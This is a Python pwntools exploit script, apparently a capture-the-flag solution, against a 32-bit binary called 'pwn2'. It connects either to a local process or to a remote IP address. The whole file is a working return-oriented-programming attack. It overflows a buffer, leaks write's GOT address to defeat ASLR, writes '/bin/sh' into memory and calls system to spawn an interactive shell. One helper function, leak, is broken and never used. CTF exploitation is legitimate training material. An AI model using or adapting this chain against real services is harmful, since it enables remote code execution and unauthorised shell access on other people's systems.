#!/usr/bin/env python
from pwn import *

DEBUG=1
elf = ELF('./bin/pwn2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
got_write = elf.got['write']

binsh_addr = 0x804a540
context.log_level = 'debug'
if DEBUG:
	p = process("./bin/pwn2")
	offset = 0xdafe0 - 0x40310
else:
	p = remote("106.75.31.126", 20001)
	offset = 0x89f70


def leak(addr):
	payload += 'a' * (4*5)

def exp():
	p.recvuntil("flag:\n")

	payload = 'a'*(4*5)
	payload += p32(plt_write)
	payload += p32(0x08048563) #pop pop pop ret
	payload += p32(1)
	payload += p32(got_write)
	payload += p32(4)
	payload += p32(plt_read)
	payload += p32(0x08048563) #pop pop pop ret
	payload += p32(0)
	payload += p32(binsh_addr) 
	payload += p32(20)
	payload += p32(0x0804847d) #main_addr
	p.sendline(payload)
	write_addr = u32(p.recv(4))
	print "write_addr =>", hex(write_addr)
	system_addr = write_addr - offset
	print "system_addr => ", hex(system_addr)
	raw_input("watch")
	p.sendline('/bin/sh\x00')
	p.recvuntil("flag:\n")
	payload2 = 'a'*16
	payload2 += p32(system_addr)
	payload2 += p32(0)
	payload2 += p32(binsh_addr)
	raw_input("get shell")
	p.sendline(payload2)
	p.interactive()
	
exp()